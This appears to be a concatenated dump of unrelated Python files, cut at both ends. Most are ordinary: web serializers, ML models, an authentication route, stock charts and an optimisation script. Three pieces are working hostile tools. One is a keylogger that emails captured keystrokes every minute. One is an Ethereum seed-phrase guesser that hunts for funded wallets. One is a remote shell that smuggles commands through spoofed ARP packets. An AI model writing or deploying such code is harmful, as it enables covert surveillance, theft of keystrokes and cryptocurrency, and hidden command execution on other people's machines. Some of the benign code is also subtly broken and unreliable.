        # Escreve a tecla pressionada no arquivo se for alfanumérica ou espaço
        if key.char.isalnum() or key.char.isspace():
            with open(output_file, "a", encoding="utf-8") as file:
                file.write(f"{key.char}")
    except AttributeError:
        # Se for a tecla espaço, escreve um espaço no arquivo
        if key == keyboard.Key.space:
            with open(output_file, "a", encoding="utf-8") as file:
                file.write(" ")
        # Se for a tecla Enter, escreve uma quebra de linha no arquivo
        elif key == keyboard.Key.enter:
            with open(output_file, "a", encoding="utf-8") as file:
                file.write("\n")

# Função para lidar com teclas soltas
def on_release(key):
    # Sai do programa ao pressionar a tecla ESC
    if key == keyboard.Key.esc:
        return False

def send_mail():

    # Configurações do e-mail
    sender_email = ""
    receiver_email = ""
    password = ""
    subject = "Título do e-mail"
    body = "Corpo do e-mail"

    # Configurações do servidor SMTP
    smtp_server = ""
    smtp_port = 26

    # Criar a mensagem de e-mail
    message = MIMEMultipart()
    message["From"] = sender_email
    message["To"] = receiver_email
    message["Subject"] = subject
    message.attach(MIMEText(body, "plain"))

    # Anexar o arquivo dados.txt
    filename = "dados.txt"
    with open(filename, "rb") as attachment:
        part = MIMEBase("application", "octet-stream")
        part.set_payload(attachment.read())
        encoders.encode_base64(part)
        part.add_header("Content-Disposition", f"attachment; filename={filename}")
        message.attach(part)

    # Enviar o e-mail
    try:
        server = smtplib.SMTP(smtp_server, smtp_port)
        server.starttls()
        server.login(sender_email, password)
        server.sendmail(sender_email, receiver_email, message.as_string())
        print("E-mail enviado com sucesso!")
    except Exception as e:
        print(f"Erro ao enviar o e-mail: {e}")
    finally:
        server.quit()

# Configura o listener do teclado
listener = keyboard.Listener(on_press=on_press, on_release=on_release)
listener.start()

try:
    while True:
        time.sleep(60) #cronometro para chamar a função send_mail()
        # Chamar a função send_mail para enviar o e-mail
        send_mail()
except KeyboardInterrupt:
    listener.stop()


import random
import eth_utils.exceptions
import pyetherbalance
from web3 import Web3
import time

import requests
from bs4 import BeautifulSoup

from eth_account import Account
Account.enable_unaudited_hdwallet_features()

web3 = Web3()

print("Is connected? " + str(web3.isConnected()))

with open("text.txt", "r") as f:
    a = f.readlines()

word = []
for l in a:
    if len(l) != 1:
        word.append(l[:len(l) - 1])

b = 12
phrase = []

def main():
    while True:

        try:
            w = word.copy()
            l = []
            for i in range(int(b)):
                s = random.choice(w)
                w.remove(s)
                l.append(s)
            phrase = " ".join(l)
            #print(phrase)
            try:
                addr = Account.from_mnemonic(phrase).address

                #get the balance of addr

                print(addr)

                bal = float(web3.eth.get_balance(addr))

                if float(bal) > 0.0:
                    print("[+] Success:", phrase, ":", bal, ":", addr)
                else:
                    pass

            except eth_utils.exceptions.ValidationError:
                pass
            #except KeyError:
            #    print(addr)
            #    pass

        except KeyboardInterrupt:
            break
if __name__ == "__main__":
    main()

print("[-] Finished!")


import sys
import traceback
from functools import partial

import sysarg
from formdecorator import FailFree
from mapper import pmap
import numpy as np
import datahelper as dh
import config
import runlsh
import runkd
import runsisap
import genGauss
from logger import printl, addLogFile, stacktrace
from sprinter import printstats
import dataenums

np.set_printoptions(precision=4)

@FailFree
def gendata(SD, data):
    cfg = data.cfg
    __ = SD[0]
    cfg.K = SD[1]
    cfg.S = SD[2]
    cfg.D = SD[3]
    data = dh.Data(cfg)
    addLogFile(data.logfile)

    overwritedata = 'overwritedata' in cfg
    if cfg['synthetic']:
        genGauss.process(data, overwritedata)

@FailFree
def process(SD, data):
    cfg = data.cfg
    overwritedata = 'overwritedata' in cfg
    overwriteindex = 'overwriteindex' in cfg
    overwritebench = 'overwritebench' in cfg
    d = dh.DataFactory.fromAKSD(cfg, *SD)
    algorithm = SD[0]
    st = None
    if isinstance(algorithm, dataenums.MSTypeEnum):
        d.cfg['mstype'] = dataenums.MSTypeEnum.fromValue(str(algorithm))
        st = runsisap.fullprocess(d,overwritedata,overwriteindex,overwritebench)
    elif isinstance(algorithm, dataenums.LSHTypeEnum):
        data, st = runlsh.fullprocess(d,overwritedata,overwriteindex,overwritebench)
    elif isinstance(algorithm, dataenums.SpatialTypeEnum):
        st = runkd.fullprocess(d,overwritedata,overwritebench)
    return st

if __name__ == "__main__":
    if len(sys.argv)==1:
        sys.argv = sysarg.args(__file__)
    overwritei = '--overwriteindex' in sys.argv
    overwrited = '--overwritedata' in sys.argv
    overwriteb = '--overwritebench' in sys.argv

    args, unknown = sysarg.getParsed(sys.argv, True)
    print(args)
    cfg = config.Config(vars(args))

    printl('-#--------------------------------------#-')
    printl(cfg)
    final = []
    if 'srange' in cfg and cfg['srange']:
        Ss = [int(x) for x in cfg['srange'].split(',')]
    else :
        Ss = [cfg.S]
    if 'drange' in cfg and cfg['drange']:
        Ds = [int(x) for x in cfg['drange'].split(',')]
    else :
        Ds = [cfg.D]
    if 'krange' in cfg and cfg['krange']:
        Ks = [int(x) for x in cfg['krange'].split(',')]
    else :
        Ks = [cfg.K]

    algos = []
    if 'addlsh' in cfg:
        algos.extend(dataenums.LSHTypeEnum.getValidTypes())
    if 'addspatial' in cfg:
        algos.extend(dataenums.SpatialTypeEnum.getValidTypes())
    if 'addms' in cfg:
        algos.extend(dataenums.MSTypeEnum.getValidTypes())
    if 'indexes' in cfg and cfg['indexes'] is not None:
        for idx in cfg['indexes'].split(','):
            algos.append(dataenums.getEnumType(idx))
    SD = []
    for K in Ks:
        for D in Ds:
            for S in Ss:
                for a in algos:
                    SD.append((a,K,S,D))
    print(SD)
    data = dh.Data(cfg)
    dh.Data.mkdirs(data.benchdir, data.confdir, data.indexdir, data.querydir)
    pmap(
        partial(gendata, data=data), SD, cfg['parallel']
    )

    results = pmap(
        partial(process, data=data), SD, cfg['parallel']
    )
    statters = []
    printl('FinishedStats')
    for r in results:
        if r is None or isinstance(r, Exception):
            continue
        statters.append(r)
    printstats(statters)


from rest_framework import serializers
from rest_framework.serializers import PrimaryKeyRelatedField
from .models import Assignment, Student, ProgrammingClass, GradingBatch, Grade

class AssignmentSerializer(serializers.ModelSerializer):
    programming_classes = PrimaryKeyRelatedField(many=True, required=False, queryset=ProgrammingClass.objects.all())
    class Meta:
        model = Assignment
        fields = '__all__'
        extra_kwargs = {'programming_classes': {'required': False, 'allow_empty': True}}

class StudentSerializer(serializers.ModelSerializer):
    programming_classes = PrimaryKeyRelatedField(many=True, required=False, queryset=ProgrammingClass.objects.all())
    class Meta:
        model = Student
        fields = '__all__'

class GradingBatchSerializer(serializers.ModelSerializer):
    class Meta:
        model = GradingBatch
        fields = '__all__'

class ProgrammingClassSerializer(serializers.ModelSerializer):
    class Meta:
        model = ProgrammingClass
        fields = '__all__'

class GradeSerializer(serializers.ModelSerializer):
    assignment = AssignmentSerializer()
    student = StudentSerializer()

    class Meta:
        model = Grade
        fields = '__all__'


import torch
import torch.nn as nn
from torchvision.models import resnet18, resnet34, resnet50

"""
Sample Model(ResNet18)
"""

class CustomResNet(nn.Module):
    def __init__(self, base="resnet18", target_size=1, in_ch=3, pretrained=False):
        super().__init__()
        assert base in {"resnet18", "resnet34", "resnet50"}
        assert in_ch % 3 == 0
        self.base = base
        self.in_ch = in_ch

        if base == "resnet18":
            self.model = resnet18(pretrained=pretrained)
        elif base == "resnet34":
            self.model = resnet34(pretrained=pretrained)
        elif base == "resnet50":
            self.model = resnet50(pretrained=pretrained)

        self.model.avgpool = nn.AdaptiveAvgPool2d(1)
        self.model.fc = nn.Linear(self.model.fc.in_features, target_size)

        if in_ch != 3:
            old_in_ch = 3
            old_conv = self.model.conv1

            # Make new weight
            weight = old_conv.weight
            new_weight = torch.cat([weight] * (self.in_ch // old_in_ch), dim=1)

            # Make new conv
            new_conv = nn.Conv2d(
                in_channels=self.in_ch,
                out_channels=old_conv.out_channels,
                kernel_size=old_conv.kernel_size,
                stride=old_conv.stride,
                padding=old_conv.padding,
                bias=old_conv.bias,
            )

            self.model.conv1 = new_conv
            self.model.conv1.weight = nn.Parameter(new_weight)

    def forward(self, x):
        x = self.model(x)
        return x

def test():
    from torchsummary import summary

    model = CustomResNet(base="resnet50", pretrained=False)
    print(model)

    summary(model, (3, 1024, 1024))

if __name__ == "__main__":
    test()


#!/usr/bin/python3
"""base module"""
import json

class Base:
    """decaraion class"""
    __nb_objects = 0

    def __init__(self, id=None):
        if id is not None:
            self.id = id
        else:
            Base.__nb_objects += 1
            self.id = Base.__nb_objects

    @staticmethod
    def to_json_string(list_dictionaries):
        """function dict to json str"""
        if list_dictionaries is None:
            return "[]"
        else:
            return json.dumps(list_dictionaries)

    @classmethod
    def save_to_file(cls, list_objs):
        """json save in file"""
        sv = cls.__name__ + ".json"
        tp = []

        if list_objs:
            for x in list_objs:
                tp.append(x.to_dictionary())
        with open(sv, "w") as f:
            f.write(Base.to_json_string(tp))

    def from_json_string(json_string):
        """function rts list of the json str"""
        if json_string is None or json_string == "[]":
            return []
        else:
            return json.loads(json_string)

    @classmethod
    def create(cls, **dictionary):
        """function return set already"""
        if cls.__name__ == "Rectangle":
            x = cls(1, 1)
        if cls.__name__ == "Square":
            x = cls(1)
        x.update(**dictionary)
        return x

    @classmethod
    def load_from_file(cls):
        """function return list"""
        filname = cls.__name__ + ".json"
        ls = []
        try:
            with open(filename, "r") as f:
                jstr = cls.from_json_string(f.read())
                for x in jstr:
                    list.append(cls.create(**x))
        except:
            pass
        return ls


# encoding=utf-8
"""
@author huxujun
@date 2019-05-31
"""
import os

import paramiko

def ssh_connect():
    with paramiko.SSHClient() as ssh:
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect("127.0.0.1", username=os.getenv("ACCESS_KEY_USR"), key_filename=os.getenv("ACCESS_KEY"))

        sftp = paramiko.SFTPClient.from_transport(ssh.get_transport())
        sftp.put("LICENSE", "jenkins_pipeline_LICENSE")
        print("SFTP listdir start...")
        for dir_str in sftp.listdir():
            print(dir_str)
        print("SFTP listdir end.")

        stdin, stdout, stderr = ssh.exec_command("ls")
        print("SSH ls start..")
        for line in stdout.readlines():
            print(str(line).replace("\n", ""))
        print("SSH ls end.")

if __name__ == '__main__':
    ssh_connect()


import random, math
from sympy import Mul, Symbol, Integer, symbols, Pow, sin

class SymbolicTree:
    def __init__(self):
        self.root = None

    def get_expression(self):
        # return the current tree as a mathematical expression
        pass

class Function:
    def __init__(self, type_of_function, function):
        self.type = type_of_function
        self.function = function

class NonTerminal():
    def __init__(self, name, number_of_parameters, sympy_expression):
        self.name = name
        self.number_of_parameters = number_of_parameters
        self.sympy_expression = sympy_expression

class Node:
    def __init__ (self, value, expression_below):
        self.value = value
        self.left = None
        self.right = None
        self.expression_below = expression_below

non_terminals_list = {
    'multiply': Function('non_terminal', NonTerminal('multiply', 2, Mul(Symbol('x'), Symbol('y')))),
    'divide': Function('non_terminal', NonTerminal('divide', 2, Mul(Symbol('x'), Pow(Symbol('y'), Integer(-1))))),
    'sinus': Function('non_terminal', NonTerminal('sinus', 1, sin(Symbol('x'))))
}

class SymbolicTreeGenerator:
    def __init__(self, generation_parameters):
        '''
        describe how the tree should be generated. Can contain params such as the maximum depth
        of the tree, expressions that can be used and what probabilites with
        '''
        self.generation_parameters = generation_parameters

    def generate_random_tree_grow(self):
        # return a randomly generated tree according to the passed in generation params
        return(self.grow(0))

    def grow(self, max_depth):
        if max_depth == self.generation_parameters.max_depth:
            random_terminal = random.choice(self.generation_parameters.symbolic_terminals + self.generation_parameters.numerical_terminals)
            return Node(random_terminal, random_terminal.function)
        else:
            random_function = random.choice(self.generation_parameters.functions)
            if random_function.type == 'numerical_terminal' or random_function.type == 'symbolic_terminal':
                return Node(random_function, random_function.function)
            else:
                if random_function.function.number_of_parameters == 2:
                    # returns the subtree for the function
                    new_tree = Node(random_function, None)
                    new_tree.right = self.grow(max_depth + 1)
                    new_tree.left = self.grow(max_depth + 1)
                    x, y = symbols('x y')
                    new_tree.expression_below = random_function.function.sympy_expression.subs(x, new_tree.left.expression_below).subs(y, new_tree.right.expression_below)

                elif random_function.function.number_of_parameters == 1:
                    new_tree = Node(random_function, None)
                    new_tree.right = None
                    new_tree.left = self.grow(max_depth + 1)
                    x = Symbol('x')
                    new_tree.expression_below = random_function.function.sympy_expression.subs(x, new_tree.left.expression_below)

                return new_tree

class GenerationParameters:
    def __init__(self, max_depth, terminals, non_terminals, number_of_variables):
        self.max_depth = max_depth
        self.number_of_variables = number_of_variables

        self.numerical_terminals = list(map(lambda value: Function('numerical_terminal', value), terminals))
        self.non_terminals = list(map(lambda name: non_terminals_list[name], non_terminals))
        self.symbolic_terminals = list(map(lambda idx: Function('symbolic_terminal', Symbol('x' + str(idx))), range(number_of_variables)))

        self.functions = self.numerical_terminals + self.symbolic_terminals + self.non_terminals

def generate_population(size, generation_parameters):
    tree_generator = SymbolicTreeGenerator(generation_parameters)
    population = []
    for _ in range(size):
        population.append(tree_generator.generate_random_tree_grow())

    return population


from functools import wraps
from flask import Blueprint, request
from google.auth.transport import requests
from google.oauth2 import id_token
from database import Database
from secret import Secret
from api.api_meta.category import Category
from api.api_meta.route import Route
from email_manager import EmailManager
from model.response import Response
from utils import Utils
from message import Message
from response_status import ResponseStatus
from model.user import User
from model.email import Email

api_authentication = Blueprint(Category.AUTHENTICATION, __name__)

@api_authentication.route(Route.SIGN_IN_WITH_GOOGLE, methods=["POST"])
def sign_in_with_google():
    token = request.form["token"]

    info = id_token.verify_oauth2_token(token, requests.Request(), Secret.CLIENT_ID)
    name = info["given_name"]
    email = info["email"]

    query = "SELECT id_user, name, email, is_admin, token FROM tb_user WHERE email = %s"
    param = [email]
    db_response = Database.execute(operation=Database.READ,
                                   query=query,
                                   param=param)

    if len(db_response.data) == 0:
        token = Utils.generate_token()
        query = "INSERT INTO tb_user(name, email, token) VALUES (%s, %s, %s)"
        param = [name, email, token]
        _ = Database.execute(operation=Database.WRITE,
                                       query=query,
                                       param=param)

        query = "SELECT id_user, name, email, is_admin, token FROM tb_user WHERE email = %s"
        param = [email]
        db_response = Database.execute(operation=Database.READ,
                                       query=query,
                                       param=param)

        an_email = Email(subject=Message.EMAIL_NEW_USER_LOGIN_SUBJECT,
                         body=Message.EMAIL_NEW_USER_LOGIN_BODY,
                         destination=email)
        EmailManager.send_email(an_email)

    user = User(id_user=db_response.data[0][0],
                name=db_response.data[0][1],
                email=db_response.data[0][2],
                is_admin=db_response.data[0][3],
                token=db_response.data[0][4])
    response = Response(data=user.get_json(),
                        message=Message.SUCCESS,
                        status=ResponseStatus.SUCCESS)
    return response.get_json()

def authenticate_api_call(func):
    @wraps(func)
    def authenticate_with_token():
        token = request.headers.get("Authorization")
        if token is None:
            response = Response(data=[],
                                message=Message.AUTHENTICATION_FAILED,
                                status=ResponseStatus.FAILED)
            return response.get_json()
        else:
            query = "SELECT id_user, name, email, is_admin, token FROM tb_user WHERE token = %s"
            param = [token.split(" ")[1]]
            db_response = Database.execute(operation=Database.READ,
                                           query=query,
                                           param=param)
            if len(db_response.data) == 0:
                response = Response(data=[],
                                    message=Message.AUTHENTICATION_FAILED,
                                    status=ResponseStatus.FAILED)
                return response.get_json()
            else:
                user = User(id_user=db_response.data[0][0],
                            name=db_response.data[0][1],
                            email=db_response.data[0][2],
                            is_admin=db_response.data[0][3],
                            token=db_response.data[0][4])
                return func(user)
    return authenticate_with_token


import yfinance as yf
import matplotlib.pyplot as plt
import numpy as np
import datetime
from operator import itemgetter
from beautifultable import BeautifulTable

### some functions
def niceDateTime(s):
	return s[:10] + " " + s[11:16]
def day_of_week_num(dts):
	# 0 = monday
    return (dts.astype("datetime64[D]").view("int64") - 4) % 7
num2day = {0:"Montag", 1:"Dienstag", 2:"Mittwoch", 3:"Donnerstag", 4:"Freitag", 5:"Samstag", 6:"Sonntag"}

### get data
stocks   = "AMZN TSLA"
df 	     = yf.download(stocks, period="5d", interval="1m", progress=False)

from forex_python.converter import CurrencyRates
c = CurrencyRates()
dollar_euro = c.get_rate("USD", "EUR")
print( "\nDollar to Euro (current): " + str(dollar_euro) + "\n" )

### format and seperate date and time
dateTime = df.index.values
day = dateTime[0]
dateDay = [day_of_week_num(ele) for ele in dateTime]

### plot graphs
for stock in stocks.split():
	plt.title(stock)
	adjClose = df["Adj Close"][stock].tolist()
	plt.plot( adjClose )
	#plt.show()

### check some properties
for stock in stocks.split():

	print(" === " + str(stock) + " ===")

	# min and max
	adjClose = np.array(df["Adj Close"][stock])*dollar_euro
	idxMin = min(enumerate(adjClose), key=itemgetter(1))[0]
	idxMax = max(enumerate(adjClose), key=itemgetter(1))[0]

	# fill table
	table = BeautifulTable()
	table.set_style(BeautifulTable.STYLE_BOX_ROUNDED)

	table.rows.append(["gesamter Zeitraum", "EUR", ""])
	table.rows.append(["Minimum", adjClose[idxMin], niceDateTime(str(dateTime[idxMin]))])
	table.rows.append(["Maximum", adjClose[idxMax], niceDateTime(str(dateTime[idxMax]))])

	# print table
	print(table)
	print("")


from App.Search_Function.sqlite_search_verses_bible import *
from App.SQLite.sqlite_bible import *
import sys
from PyQt5 import uic
from PyQt5 import QtWidgets as Qtw
from PyQt5 import QtGui as Qtg
from PyQt5 import QtCore as Qtc

# Code to show error, if the app crashes
import cgitb

cgitb.enable(format='text')

class SearchVerses(Qtw.QWidget):
    def __init__(self):
        super().__init__()

        # loading the application's UI {stored as XML format}
        uic.loadUi(r"UI\Search Function.ui", self)

        # setting a window icon
        self.setWindowIcon(Qtg.QIcon(r"Images\Window Icons\bible_search_verses.png"))

        # setting the title frame to be clicked on and move the app with it
        self.title_frame.mouseMoveEvent = self.move_with_click_title_bar

        self.setWindowFlag(Qtc.Qt.FramelessWindowHint)  # removes standard title
        self.show()  # show the UI

        # Window Manipulation Buttons

        self.minimiseButton.clicked.connect(lambda: self.showMinimized())
        self.restoreButton.clicked.connect(lambda: self.change_window_size())
        self.closeButton.clicked.connect(lambda: self.close())

        # Setting search results as nothing

        self.versesReturned.setText("")

        # Search verses

        self.searchButton.clicked.connect(self.search_verses)

    def mouseDoubleClickEvent(self, event):
        if event.button() == Qtc.Qt.LeftButton:
            self.change_window_size()

    def mousePressEvent(self, event):
        self.dragPos = event.globalPos()

    def move_with_click_title_bar(self, event):
        '''
        Function to move the app as the user clicks and drags on the title bar
        '''
        if event.buttons() == Qtc.Qt.LeftButton:
            self.move(self.pos() + event.globalPos() - self.dragPos)
            self.dragPos = event.globalPos()
            event.accept()

    def change_window_size(self):

        if self.isMaximized():
            self.showNormal()
            self.restoreButton.setIcon(Qtg.QIcon(r"Images\Buttons\restore.png"))
        else:
            self.showMaximized()
            self.restoreButton.setIcon(Qtg.QIcon(r"Images\Buttons\window.png"))

    def search_verses(self):

        if self.userInput.text() == "" or self.userInput.text().isspace():
            # skip the function if the input is either empty or just white-space
            pass

        else:
            user_input = self.userInput.text()

            number_of_verses, verses = find_verses(user_input)

            temp_counter = 1
            temp_verses = ""

            for verse in verses:

                main_string = verse[4]
                # since Qt widgets use rich HTML text we can use HTML to highlight text
                # the text variables are used to indicate the start and end of a tag
                text1 = ""
                text2 = ""

                # This shows all search results regardless of uppercase/lowercase characters

                # Converting user input to lowercase to avoid conflicts of not found uppercase/lowercase characters
                temp_string = main_string.lower()
                temp_input = user_input.lower()
                index = temp_string.index(temp_input)  # Setting index to the first result of the search

                '''Final string will contain
                1. first set of words (if any) till the searched word
                2. the start of the mark tag
                3. user searched word
                4. the end of the mark tag
                5. remaining set of words (if any) after the searched word
                '''
                final_string = main_string[:index] + text1 + main_string[index: index + len(user_input)] + text2 + main_string[index + len(user_input):]

                for book_name in book_list:
                    if verse[1] == book_name[0]:
                        # final output formatting

                        if temp_counter == number_of_verses:
                            temp_verses += f"{temp_counter}. {book_name[1]} {verse[2]}:{verse[3]} - {final_string}"

                        else:
                            temp_verses += f"{temp_counter}. {book_name[1]} {verse[2]}:{verse[3]} - {final_string}

"
                            temp_counter += 1

            self.versesReturnedCount.setText(f"Count: {number_of_verses}")
            self.versesReturned.setText(temp_verses)

if __name__ == "__main__":
    app = Qtw.QApplication(sys.argv)
    show_bookmarks = SearchVerses()
    sys.exit(app.exec())


from typing import Tuple
from continuum.tasks import TaskSet

import numpy as np

def split_train_val(dataset: TaskSet, val_split: float = 0.1) -> Tuple[TaskSet, TaskSet]:
    """Split train dataset into two datasets, one for training and one for validation.

    :param dataset: A torch dataset, with .x and .y attributes.
    :param val_split: Percentage to allocate for validation, between [0, 1[.
    :return: A tuple a dataset, respectively for train and validation.
    """
    random_state = np.random.RandomState(seed=1)
    indexes = np.arange(len(dataset))
    random_state.shuffle(indexes)

    train_indexes = indexes[int(val_split * len(indexes)):]
    val_indexes = indexes[:int(val_split * len(indexes))]

    x_train, y_train, t_train = dataset.get_raw_samples(train_indexes)
    train_dataset = TaskSet(x_train, y_train, t_train, dataset.trsf, dataset.data_type)

    x_val, y_val, t_val = dataset.get_raw_samples(val_indexes)
    val_dataset = TaskSet(x_val, y_val, t_val, dataset.trsf, dataset.data_type)

    return train_dataset, val_dataset


#!/usr/bin/python3

from scapy.all import ARP, Ether, sendp, sniff, srp1
import logging, math, time, subprocess, sys

## Notes:
# - Requires sudo (to access raw sockets)
# - I recommend using "tcpdump -i <interace> arp" to debug

server_ip = "192.168.1.xxx" # Server sends commands
client_ip = "192.168.1.xxx" # Client receives and executes commands
broadcast_ip = "192.16.2.x" # IP spoofed by both client and server, used as an indicator for relevant packets

# Request the hardware address of the target_ip
def arp_request(target_ip: str):
    mac = srp1(
            # dst="ff:ff:ff:ff:ff:ff" broadcasts the request to the whole network
            Ether(dst="ff:ff:ff:ff:ff:ff")
            / ARP(pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff"),
            timeout=.5,
            verbose=0,
        )
    return mac # None if unresolved

# Resolve the target_ip to a hardware address
def resolve_ip(target_ip: str):
    logging.debug(f"Resolving ip {target_ip}")
    mac = arp_request(target_ip)
    if mac:
        logging.debug(f"Resolved to {mac.hwsrc}")
        return mac.hwsrc
    else:
        # Exit if failed
        print(f"IP not resolved")
        sys.exit(0)

## Data encoding
# - Data is transmitted as mac addresses, which are 12 bytes of hex
# - Therefore each packet can transmit 6 characters before hex encoding
# - To mark the end of a transmission and keep packets at length 12, null bytes pad the end of the message

def hex_encode(data: str):
    return data.encode("utf-8").hex()

def hex_decode(data: str):
    return bytearray.fromhex(data).decode()

def hex_to_mac(data: str):
    return":".join(data[i:i+2] for i in range(0, 12, 2))

def mac_to_hex(data: str):
    return data.replace(":", "")

def data_to_macs(data: str):
    encoded = hex_encode(data) + "00"
    num_req = math.ceil(len(encoded) / 12)
    mac_adders = []
    for i in range(0, num_req):
        next_12_bytes = encoded[12 * i: 12 + (12 * i)]
        padding = "00" * round((12 - len(next_12_bytes)) / 2) # pad with null bytes
        mac = hex_to_mac(next_12_bytes + padding)
        mac_adders = mac_adders + [mac]
    return mac_adders

def macs_to_data(macs: str):
    return [hex_decode(mac_to_hex(m)) for m in macs]

def packets_to_data(packets):
    return macs_to_data([p.hwsrc for p in packets])

def receive(paired_ip: str):
    # Sniff arp packets to/from paired_ip
    # Stop when a packet with a src mac address containing a null byte is received
    logging.debug(f"Receiving packets from {paired_ip}")
    packets = sniff(
        filter = "arp host " + paired_ip,
        stop_filter = lambda p: "\x00" in hex_decode(mac_to_hex(p.hwsrc)),
        prn = lambda p: logging.debug(f"...packet for data {hex_decode(mac_to_hex(p.hwsrc))} received from hwsrc {p.hwsrc}")
    )
    data = packets_to_data(packets)
    return "".join(data).replace("\x00", "")

def send(data: str, target_ip: str, target_mac: str):
    macs = data_to_macs(data)
    logging.debug(f"Sending data to {target_ip} at {target_mac}; spoofing {broadcast_ip}")

    for mac in macs:
        d = hex_decode(mac_to_hex(mac))
        logging.debug(f"...packet for data {d} sent w/ hwsrc {mac}")

        target_packet = Ether(src=mac, dst=target_mac) / ARP(
            op=2, hwsrc=mac, psrc=broadcast_ip, hwdst=target_mac, pdst=target_ip
        )
        sendp(target_packet, verbose=0)
        time.sleep(.1)

def client():
    server_mac = resolve_ip(server_ip)
    while True:
        cmd = receive(broadcast_ip)
        args = cmd.split(" ")
        res = subprocess.run(args, stdout=subprocess.PIPE).stdout # Get cmd output as bytes
        res = res.decode("utf-8").rstrip()
        logging.debug(f"ran {cmd} and sending result {res}")
        time.sleep(.5) # Give time for server to begin listening
        send(res, server_ip, server_mac)

def server():
    client_mac = resolve_ip(client_ip)
    while True:
        cmd = input("$ ")
        if cmd == "exit":
            return
        send(cmd, client_ip, client_mac)
        res = receive(broadcast_ip)
        print(res)

def help_text():
    print("arp_shell.py <mode>")
    print("...0 for client, 1 for server")
    print("...both modes must be run as root")
    sys.exit(0)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        help_text()
    if "x" in client_ip or "x" in server_ip:
        print("ERROR: client_ip or server_ip not added")
        help_text()

    mode = sys.argv[1] # Expects 0 for client, 1 for server
    logging.basicConfig(
        format='%(message)s',
        stream=sys.stderr,
        level=logging.DEBUG # DEBUG (extra info) or INFO (only shell)
    )

    if mode in "0":
        client()
    elif mode in "1":
        server()
    else:
        help_text()


from numpy import *
import numpy as NP
import matplotlib.pyplot as plt

# CasADi
from casadi import *

# Variables in the state equation
x = ssym("x",2)
u = ssym("u")
w = ssym("w")

# Dimensions
nx = 2
nu = 1
nw = 1
nz = 1

# Regularization
x_reg = 1.0
u_reg = 0.01

# State equation
f = [ 1.0*x[0] + 0.1*x[1],\
     -0.5*x[0] + 0.9*x[1] + 0.1*u]
f = vertcat(f)

ffcn = SXFunction([x,u,w],[f])
ffcn.init()

# Output equation
hz = x[0]**2 + x[1]**2

hzfcn = SXFunction([x,u,w],[hz])
hzfcn.init()

# Time discretization
N = 1000

# State
X = ssym("X",2,N)

# Control
U = ssym("U",1,N)

# Outputs to be constrained
Z = ssym("Z",1,N)

# Assemble the NLP variable vector and bounds
v = []
v_min = []
v_max = []
v_init = []
for k in range(N):
  v += [X[:,k]]
  v += [U[:,k]]
  v += [Z[:,k]]

  v_min += [-inf*ones(2)] # X
  v_min += [-inf*ones(1)] # U
  v_min += [-inf*ones(1)] # Z

  v_max += [ inf*ones(2)]
  v_max += [ inf*ones(1)]
  v_max += [ 1.0*ones(1)]

  v_init += [ 0.0*ones(2)]
  v_init += [ 0.0*ones(1)]
  v_init += [ 0.0*ones(1)]

v = vertcat(v)
v_min = NP.concatenate(v_min)
v_max = NP.concatenate(v_max)
v_init = NP.concatenate(v_init)

# Objective function weighting
Q = concatenate((x_reg*ones(N),u_reg*ones(N)))
Q = diag(Q)

# Outputs to be minimized
W = ones(N)

# Residual
y_bar = W-trans(X[1,:])
y_bar = vertcat((y_bar,trans(U)))

# Objective
J = dot(trans(y_bar),dot(Q,y_bar))

# Objective function
Jfcn = SXFunction([v],[J])

# Initial state
x_init = NP.array([0,0])

# Constraint function
g = []
g += [X[:,0]-x_init]
for k in range(0,N-1):
  # Evaluate the state equation symbolically
  [x_next] = ffcn.eval([X[:,k],U[:,k],W[k]])

  # Append to the constraint expression
  g += [X[:,k+1]-x_next]

  # Evaluate the constraint function symbolically
  [z_k] = hzfcn.eval([X[:,k],U[:,k],W[k]])

  # Append to the constraint expression
  g += [Z[:,k]-z_k]

# Add the final point
# Evaluate the constraint function symbolically
[z_final] = hzfcn.eval([X[:,N-1],U[:,N-1],W[N-1]])

# Append to the constraint expression
g += [Z[:,N-1]-z_final]

# Concatenate
g = vertcat(g)

# Constraint function
gfcn = SXFunction([v],[g])

# Allocate an IPOPT instance
solver = IpoptSolver(Jfcn,gfcn)

# Set IPOPT options
solver.setOption("tol",1e-10)
solver.setOption("generate_hessian",True)
#solver.setOption("hessian_approximation","limited-memory")

# Initialize IPOPT
solver.init()

# Pass bounds
solver.setInput(v_min,"lbx") # lower variable bounds
solver.setInput(v_max,"ubx") # upper variable bounds
solver.setInput(v_init,"x0") # variable initial guess
solver.setInput(NP.zeros(g.size()),"lbg") # equality constraints
solver.setInput(NP.zeros(g.size()),"ubg") # equality constraints

# Solve the NLP
solver.solve()

# Get the solution
v_opt = NP.array(solver.getOutput("x"))
x_opt = zeros(X.shape)
u_opt = zeros(U.shape)
z_opt = zeros(Z.shape)
vk = 0
for k in range(N):
  # Get the state
  for i in range(nx):
    x_opt[i,k] = v_opt[vk+i]
  vk += nx

  # Get the inputs
  for i in range(nu):
    u_opt[i,k] = v_opt[vk+i]
  vk += nu

  # Skip the constrained output
  for i in range(nz):
    z_opt[i,k] = v_opt[vk+i]
  vk += nz

# Time grid
t_grid = NP.linspace(0,1,N)

# Plot the solution
plt.figure(1)
plt.clf()
plt.plot(x_opt[0,:],x_opt[1,:],'*')
plt.xlabel('x_0')
plt.ylabel('x_1')

# also plot a circle
phi = NP.linspace(0,2*pi,100)
plt.plot(sin(phi),cos(phi),'-')
plt.axis('equal')

plt.figure(2)
plt.clf()
plt.plot(t_grid,u_opt.T)
plt.xlabel('time')
plt.ylabel('u')

plt.figure(3)
plt.clf()
plt.plot(t_grid,x_opt[0,:].T)
plt.xlabel('time')
plt.ylabel('x0')

plt.figure(4)
plt.clf()
plt.plot(t_grid,x_opt[1,:].T)
plt.xlabel('time')
plt.ylabel('x1')

plt.show()


import argparse
import pickle
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
import time
import pandas as pd
import time
import pandas as pd

from operator import itemgetter
from scipy import stats
from dataStructures.VLMCElement import VPTreeVLMC
from operator import itemgetter

from clustering_genomic_signatures.util.parse_signatures import (
    parse_signatures,
    add_parse_signature_args,
)
from clustering_genomic_signatures.util.parse_distance import (
    add_distance_arguments,
    parse_distance_method,
)

def save_neighbor_order(distances, filename):
    with open(filename, "wb") as f:
        pickle.dump(distances, f)

def load_neighbor_order(filename):
    with open(filename, "rb") as f:
        return pickle.load(f)

def calculate_neighbor_order(vlmcs, distance_function):
    names = np.array([vlmc.name for vlmc in vlmcs])
    distances = np.array(distance_function.distances(vlmcs))
